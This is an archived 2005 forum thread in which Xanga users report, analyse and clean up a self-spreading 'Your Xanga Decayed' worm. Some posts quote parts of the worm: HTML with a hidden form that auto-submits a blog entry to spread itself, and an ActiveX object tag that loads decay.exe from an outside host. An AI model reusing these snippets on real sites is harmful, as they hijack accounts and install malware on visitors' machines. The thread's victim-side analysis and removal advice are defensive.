hacker? Options

[yoyorks]

my xanga has a virus or something. is there anyway to fix it?

xanga.com/xx_sandra_xx

don't go there while signed in you account or you'll get the virus........

the page says "YOUR XANGA DECAYED"

plz help me
thank you

This post has been edited by x_angawhomps: Feb 22 2005, 02:30 AM

[mirage]

i went to my xanga this morning and whenever i go there, a page from http://free.hostultra.com popped up with curses and improper images show up.

[yoyorks]

i got the same thing!!!!!! i don't know whats wrong though....

www.xanga.com/xx_sandra_xx

what does "your xanga has been decayed" mean?

[bravodancer04]

NO ONE CLiCK THAT
dude..u just totally messed up my xanga

[yoyorks]

to get rid of it, i think if you log in with SAFE MODE and you have to delete all your xanga entries.........

SO STUPID!!! who would make a virus like that?

[bravodancer04]

Ah..how do you long in with safe mode

[ReDhEaD00634]

when i went 2 ur site it gave it to me too! and then i have this virrus protection thingy and it popd up as a virrus

[bravodancer04]

DUDE THATS WHY i SAiD DONT CLiCK iT!

[ReDhEaD00634]

yea sry i didnt see ur entery yet

[yoyorks]

go to the homepage of xanga, and under the "rememberme" there is a safe mode button, click that and sign in......if you look at any of your entries, you can c that it's messed up...

[bravodancer04]

It wont let me delete them..man this really sucks!

[mirage]

I truly appologize to all those who've clicked my site. I was unaware of the fact that this is a spreadable virus. I have contacted free.hostultra and sent them an abuse report. I hope they will figure this out. Once again, i apologize.

[yoyorks]

IT WORKS!!! just delete the first few entries until you get to your 1st post!

PLZ DO THIS!!!! DON'T SPREAD THE VIRUS!

[SMUSHiENESS]

I just logged onto my xanga and this stupid screen comes up. Saying "You xanga Decayed" then there is a picture of some dude... and a couple of names under. Is this happening to anyone else?!! Omgosh, what did i do to deserve it??

[mirage]

OKAY, THANKS!

[yoyorks]

how to get rid of it...

www.xanga.com/llgodsxsonll

[cocoalightning27]

First of all, this should be in Xanga Help....

[*Statistik*]

OMG THIS IS HAPPENING TO ME TOO OMG HELP

[Chii]

i just checked all my xangas...and i even searched for in on xanga help...nothing came up and i don't think i've ever heard of it...

i think someone probably hacked into your xanga...or you got some virus...i don't really know...

edit
i just looked at your xanga ...i think you probably got hacked or got a virus like i said

edit 2
i just noticed something...after awhile, your xanga redirects onto the sign in page...did you sign in from there? maybe they steal your password that way...i didn't try it but i don't know...that's my theory...

edit 3
i looked at the same that were listed...i think they're all xanga usernames but i can't find the connection...some are really old usernames, one is dead, one was shutdown, etc

Gr33tz - page not found
DUO - old
KLOUD - old
3P1D3M1C - error
CHAOSHU - page not found
G1 - error
J0NNYWALKER - hacked
PROMETHEUS - recent
1337 TWIGGY - error
HUTGWAI - page not found
WOE - old
JAEYOUNG - shut down
HOB0 - old, 2 new xangas, one is recent
BFFELON - recent
N3K0DE - old/dead
NE0N - recent

[kill me please]

they are talking about that in another topic up there called, hacking. think they said something about deleting post... 0.o

[mirage]

how to get rid of it...

www.xanga.com/llgodsxsonll

I posted something similar to that on my xanga.
once i again, i apologize, but my xanga is now back to normal
if you still have problems with your xanga due to my stupidity earlier
on when i don't realize this is a "virus", pm me and i will lead
you step by step through getting rid of it.
I apologize once again.

[yoyorks]

if she's busy............... im me!

aim: llgodsxsonll
msn: yoyorks@hotmail.com

[cocoalightning27]

Many People are getting hacked, I think it has something to do with a link you clicked on and it hacked into ur xanga.....*shudder*

[jnukes]

FCUK .. it just happened to me ..

[hoogli]

gahh!!! i got it, too. i looked at the source code - i don't think it's a virus per se, but it's just as bad

[imafreakinazn]

i just checked all my xangas...and i even searched for in on xanga help...nothing came up and i don't think i've ever heard of it...

i think someone probably hacked into your xanga...or you got some virus...i don't really know...

edit
i just looked at your xanga ...i think you probably got hacked or got a virus like i said

edit 2
i just noticed something...after awhile, your xanga redirects onto the sign in page...did you sign in from there? maybe they steal your password that way...i didn't try it but i don't know...that's my theory...

um.
what she said

[hoogli]

(double post, sorry)

i think this post, and the removal process of the virus should be pinned.

[XxArsonFreakxX]

ok i figured out what it was it was a worm that as soon as someone opens it starts eating all of your info so if you dont delete it soon it will delete your whole xanga also everyone who has it delete your first few entries thats where it starts if its too late and it still doesnt work save all your codes and shut down your site and make a new one because it is too late for your xanga also if you have an anti virus make sure to scan all your files because it spreads avoid opening emails from people you dont know for a while and also sending them until after you have scanned all your files hope this helps

[jnukes]

hey .. everyone if your password is saved on your computer, you can go to www.xanga.com/claf and you can save your codes .. i just did that .. so yea .. thass tha best i can come up with right now ..

[yoyorks]

r u sure about that arsonfreak?

[hoogli]

ok i figured out what it was it was a worm that as soon as someone opens it starts eating all of your info so if you dont delete it soon it will delete your whole xanga also everyone who has it delete your first few entries thats where it starts if its too late and it still doesnt work save all your  codes and shut down your site and make a new one because it is too late for your xanga also if you have an anti virus make sure to scan all your files because it spreads avoid opening emails from people you dont know for a while and also sending them until after you have scanned all your files hope this helps

no, if you delete those strange posts, the virus goes away. you dont need a new xanga.

if you need help deleting the "virus" go to http://www.xanga.com/item.aspx?user=anissa...s&uid=208842925

[XxArsonFreakxX]

ummm im almost positive does anyone remember what type of pop up it was or how the pop up got to their xanga?? thats why i said delete your fist few posts becaue thats where it starts

[SMUSHiENESS]

lols, i got it fixed, i was freaking out... im so over-dramatic.

[SKDMNLE]

O.O

hasnt happened to me yet

im scared >.<

[Saeglopur]

It only does that when I click on my subs page. What do they even want from my xanga? It's so default.

[jnukes]

how'd you get it fixed ?? .. wen i go to mine, now, it says that tha ultimahosting.net page couldn't be found ..

[yoyorks]

How to get rid of the XANGA VIRUS!!!

go to the hopepage of xanga and click the box that says "SAFEMODE" and sign in.

then delete all the entries that say the weird stuff. keep deleting till you get to a point when your back to the latest entry that YOU posted..

OK EVERY ONE?!?!?!

all thanks to the smart and brilliant......... Daniel Jin!!!

xanga.com/llgodsxsonll

[hoogli]

anyone else getting this popup?

i guess they shut down the hacker's site?

[mirage]

Yeah, i reported them to free.hostultra as abuse site... i think they did SOMETHING after all. =D

[yoyorks]

we got through this virus together!!!! lol........

hope we don't have to do that again....

[snak3y3z1001]

nope. mines fine

[mirage]

the only problem now is even though the SITE is gone, the code is still there.... it just transfer you to that "Now Gone" page.

[hoogli]

i guess they shut down the hacker's site?

damn. the site is up again.

[patrick004]

Thanks for the info. I got the virus too. Oh boy, a lot of posts to delete!

[mirage]

wait, everything is fine on my main page, but things are still screwed up when i go to my subs page.... anyone have a solution to that yet? god, what the freak does these xanga haters want from me? god.

[coyote]

I don't see anything. Damn it, I've been trying to get infected but I can't... arg.

[yoyorks]

i think that it pops up in the SUBS page because one of your FRIENDS has the virus.

[mirage]

i think that it pops up in the SUBS page because one of your FRIENDS has the virus.

well, if that the case, then i think i know where i got my virus from.... god, this is a pain in the butt. now i can't even check my sub.... do you know how to contact the people in xanga to tell them to look into this problem?

[patrick004]

I just wanna confirm that it's the same thing for me....Can't access my subscriptions page either

[yoyorks]

you could go to your xanga and just look at your subscription list. u can c everyone on your subs without haveing to go to the subs page.

[bravodancer04]

Okay..see this i why i said dont click it..

[mirage]

the problem is, my xanga has no module and even if i have it, i still won't dare to click any of my friends' xanga for now....

[bravodancer04]

I had it, I got rid of it, all u need to do is:

1.sign in under safe mode
2. delete all of the entries that have that code

[yoyorks]

it really easy to get rid of it after you no how to get rid of it...your friends are nice people who need your help.

as long as your not signed in, you wont get the virus

[yoyorks]

I had it, I got rid of it, all u need to do is:

1.sign in under safe mode
2. delete all of the entries that have that code

with some help....

[coyote]

Okay... this is as far as I got...

This hacker created a script that he would assume most of you can't recover from. His assumption is correct to an extent. The hacked site would say "Your Xanga Decayed" and just about every comment has been converted to a random float value. If you see "Your Xanga Decayed" which you really shouldn't, that means you don't have javascript on. But if you don't have javascript on, you wouldn't have been infected. The virus will also open a site to hostultra with decay.php. This php file will record all those users who have their site "decayed". This keeps a record by having a random integer given to each user making each user unique to the database the decay.php is logging to. As far as how the infection works, it probably won't work with the decay.php gone.

[mirage]

Okay... this is as far as I got...

This hacker created a script that he would assume most of you can't recover from. His assumption is correct to an extent. The hacked site would say "Your Xanga Decayed" and just about every comment has been converted to a random float value. If you see "Your Xanga Decayed" which you really shouldn't, that means you don't have javascript on. But if you don't have javascript on, you wouldn't have been infected. The virus will also open a site to hostultra with decay.php. This php file will record all those users who have their site "decayed". This keeps a record by having a random integer given to each user making each user unique to the database the decay.php is logging to. As far as how the infection works, it probably won't work with the decay.php gone.

Thanks, this is very informative. But my question is, is there anyway that we could contact people from xanga and ask them if they could get rid of the virus as a whole from the xanga community?

[hoogli]

If you see "Your Xanga Decayed" which you really shouldn't, that means you don't have javascript on. But if you don't have javascript on, you wouldn't have been infected.

huh??

besides that, you very accurately described the virus. also, if you are logged on, the script redirects you to "new weblog entry", and creates a post that will spread the virus, and contains the words "your xanga decayed".

[artislife90]

There has to be a way to contact the Xanga people, this is really not cool. I wanted to upload my new theme today, but now I am way to scared to even go to my xanga..

[coyote]

huh??

besides that, you very accurately described the virus. also, if you are logged on, the script redirects you to "new weblog entry", and creates a post that will spread the virus, and contains the words "your xanga decayed".

forget what I said about the javascript.
do you actually see a "new weblog entry" being opened? or do you see that from a source code, if it is I'd like to see it too :D

[hoogli]

it's in the source code. i looked.

here is the code for http://free.hostultra.com/~decay2/decay.php (DON'T CLICK THAT LINK) ...it's long

<script language="JavaScript" src="/root/hostultra.php"></script>
<title>Decayed</title>
<center><font size=7>YOUR XANGA DECAYED</font></center>
<form name="myform" method="post" action="http://www.xanga.com/private/xtools/xtoolsclassic.aspx?plain=1" id="_ctl3"><input type="hidden" name="__VIEWSTATE" value="dDwyMTM3MDU0NDg2O3Q8cDxsPFdlYmxvZ0lkO0lzUmljaFRleHQ7PjtsPGk8MD47RmFsc2U7Pj4
bDxpPDI+Oz47bDx0PHA8bDxvb script: return XagazonSearch()" type="button" value="Search »" style="DISPLAY: none" ><input name="xztitle1" type="text" id="xztitle1" style="DISPLAY: none" /><input name="xztitle2" type="text" id="xztitle2" style="DISPLAY: none" /><input name="xzasin1" id="xzasin1" type="hidden" size="2" /><input id="radAccess_0" type="radio" name="radAccess" value="1" checked="checked" style="DISPLAY: none" /><label for="radAccess_0"></label><input id="radAccess_1" type="radio" name="radAccess" value="2" style="DISPLAY: none"/><label for="radAccess_1"></label><input id="radAccess_2" type="radio" name="radAccess" value="3" style="DISPLAY: none" /><label for="radAccess_2"></label><input id="chkComments" type="checkbox" name="chkComments" checked="checked" style="DISPLAY: none" /><label for="chkComments"></label></td><input type="text" name="btnSubmit" value="Submit" id="btnSubmit" onclick="flag=2;Send();" style="display:none" />&nbsp;<input name="btnCancel" id="btnCancel" type="button" value="Cancel" onclick="var x=confirm('Are you sure you want to cancel this post?');if (x==true){flag=2;window.location.href='/Private/home.aspx?user=';} else return false;" style="DISPLAY: none" /><input name="txtUserId" type="text" value="1865377" id="txtUserId" style="display:none" style="DISPLAY: none" /><input name="xbgcolor" id="xbgcolor" type="hidden" /> <input name="xbordercolor" id="xbordercolor" type="hidden" /><input name="xcontent" id="xcontent" type="hidden" />&nbsp;<input id="xcopypost" name="xcopypost" type="hidden"></form><script>document.myform.submit();</script>"));

[artislife90]

whoa.. very long indeed. But now what?

[william]

why doesn't the person who made this topic edit their first post saying not to click on it or you will get infected?

[coyote]

it's in the source code. i looked.

here is the code for http://free.hostultra.com/~decay2/decay.php  (DON'T CLICK THAT LINK) ...it's long

There's the magic. That doesn't open up the new web blog entries. That fakes a form of the new web blog entries and automatically submits a new web entry. There's an easy way to prevent this script from working if Xanga haven't already figured it out by now.

[*Fallen_Fairy*]

DON'T CLICK IT YOU FOOLS

[yoyorks]

the 1st person fixed there xanga....it wont spread

[XxArsonFreakxX]

everyone keep posting and keep this updated a few of my friends got it and im helping them i need some more info to try to stop this thanx

[hoogli]

i noticed something strange... before, the decay thing was at http://free.hostultra.com/~decay/decay.php but now it's at http://free.hostultra.com/~decay2/decay.php (DON'T CLICK THIS LINK). I guess hostultra deleted the ~decay one, but how did the virus code change so that it began linking to ~decay2 instead?

P.S. - If ~decay2 gets deleted too, the guy will probably try to make a ~decay3. however, that wont happen. i made a screenname there called ~decay3 already XD

[yoyorks]

P.S. - If ~decay2 gets deleted too, the guy will probably try to make a ~decay3. however, that wont happen. i made a screenname there called ~decay3 already XD

LOL!!! they'd just make a decay4 !!! lol

[XxArsonFreakxX]

lol i dont see how that will help they will just skip to 4

[yoyorks]

lol i dont see how that will help they will just skip to 4

exactly what i said!

[coyote]

the 1st person fixed there xanga....it wont spread

It'll still spread. Worms don't work that way.

As far as spreading is concerned. Please help the community.

Add this to your Headers:

<!-- begin code provided by createblog.com --><br /><script><br />// Temporary Function Overwrite<br />function window.open(){}<br /></script><br /><!-- end code provided by createblog.com -->

This prevents others from infected. Not you. For the time being you should visit sites not logged in or with javascript disabled to prevent infection.

[XxArsonFreakxX]

lol sorry we posted at the same time haha

[Artsy_Toni]

I got it too by trying to randomly prop people out of the goodness of my heart. This is the lamest thing ever. I just got it looking all prettifed. S o is there a way to fix it or not? And can the xanga staff fix it theirselves?

[yoyorks]

happens to everyone!

[XxArsonFreakxX]

It'll still spread. Worms don't work that way.

As far as spreading is concerned. Please help the community.

Add this to your Headers:

<!-- begin code provided by createblog.com --><br /><script><br />// Temporary Function Overwrite<br />function window.open(){}<br /></script><br /><!-- end code provided by createblog.com -->

This prevents others from infected. Not you. For the time being you should visit sites not logged in or with javascript disabled to prevent infection.

does this script really work??

[yoyorks]

It'll still spread. Worms don't work that way.

As far as spreading is concerned. Please help the community.

Add this to your Headers:

<!-- begin code provided by createblog.com --><br /><script><br />// Temporary Function Overwrite<br />function window.open(){}<br /></script><br /><!-- end code provided by createblog.com -->

This prevents others from infected. Not you. For the time being you should visit sites not logged in or with javascript disabled to prevent infection.

i meant through the 1st persons xanga site...if that makes any sence

[yoyorks]

repling to arson...... i hope so!

[coyote]

hopefully it works.

well, i really wish I had the access to xanga's source code to implement something OR they can do something right now to prevent further damage. I'm surprised xanga didn't shut down xanga systems to prevent further damage because the damages caused can't be done with a single click from the xanga servers.

[hoogli]

lol i dont see how that will help they will just skip to 4

umm... d'oh
well, it could be slightly annoying to the hacker...

[yoyorks]

alot of people no how to get rid of it from THEIR sites so i think its a waster to shut down the server

[artislife90]

hmm.. I think the xanga staff is off today, because it is presidents day here in USA. So if they are based in the USA they might be off.... idk.

[Artsy_Toni]

So you keep deleting entries until you see something familiar right? In safe mode, do the entries look normal because I think I deleted some..help please!

[Artsy_Toni]

I think I've deleted atleast 30 enetries already

[coyote]

Decrypted the code:
Found the a-hole's site...

Check this shit out. Caution: Don't download the exe file and run it.
I'm still investigating.

<!-- begin code provided by createblog.com --><br /><OBJECT CLASSID='clsid:C566CC25-182E-11D0-A6AD-00AA00602553' CODEBASE='http://www.dkcommunity.com/decay/decay.exe' BORDER='0' WIDTH='0' HEIGHT='0' TYPE='application/thing'></OBJECT><<br /><!-- end code provided by createblog.com -->

http://whois.sc/www.dkcommunity.com

hmmm...

haha i went online, the first thing my friend did was IMed me and told me there was a xanga virus, and i asked her if i was infected and she said no. then i told her to give me some xangas that are infected while i was checking up on createblog.com, i ended up clicking on one of the xangas given by my friend, then it was installing some shit, so then i rebooted my computer ASAP, phew, close call.

[coyote]

crap, double post... ack

just ignore my post on the "preventing other's from being infected"

[coyote]

the exe file is an activeX program...

we need to know the source...
In order for this fuckhead to infect us... he has to create a xanga and go to a site like createblog and post "CHECK OUT MY XANGA"

To disable javascript in IE:
Click Tools -> Internet Options -> Security -> Custom Level

under "Scripting", disable Active Scripting.


I guess after all this is over, you can enable it again.

[XxArsonFreakxX]

Yeah, i reported them to free.hostultra as abuse site... i think they did SOMETHING after all. =D

why doesnt everyone just complain maybe they will get tired of this and shut down whatever they are doing

[Artsy_Toni]

So how can you delete it yourself again? because it's not working for me.

I can be contacted at ArtsyToni678 in AIM.....urmm help!

[coyote]

why doesnt everyone just complain maybe they will get tired of this and shut down whatever they are doing

Think about it. If you are the hacker and you have this intention since the beginning. The first thing you want is people whining and crying.

It means they've succeeded and they want more of this whining.

[XxArsonFreakxX]

thats true but idk what else to think of

[coyote]

http://www.dkcommunity.com/decay/

interesting. this f**k sure has a lot of time on his hand.

those may be trojans in that folder. some sort of activex remote connection service.

So yah, if you are infected. Your computer might be at risk.
Most of you who have windows xp service pack 2 should be fine. hopefully.

[XxArsonFreakxX]

is there anyway of tracking where this got started from

[mirage]

could you track who's the host of that site?

[Artsy_Toni]

OK I fixed my site. Advice...just keep deleting even after maybe 100 entries.

[XxArsonFreakxX]

not the host of the site but where the virus first started like the first xanga that got infected by this

[mirage]

not the host of the site but where the virus first started like the first xanga that got infected by this

i don't think it matters where it started anymore since you can get it from anyone who has the virus, not the first one that has it. also, if we could find the host of the site, we could maybe tell the host to delete his entire site.... but he probably have like a zillion copies of the files anyways....

[XxArsonFreakxX]

is there anyway you can track the creator of the virus sort of like an IP adress

[coyote]

i don't think it matters where it started anymore since you can get it from anyone who has the virus, not the first one that has it. also, if we could find the host of the site, we could maybe tell the host to delete his entire site.... but he probably have like a zillion copies of the files anyways....

exactly.

but forget about any files he has. that's another story.
the decay.exe is most likely some sort of remote-connection hack that doesnt' have to do with xanga. though you should be cautioned.

The worm is composed of javascript and his php hosted site.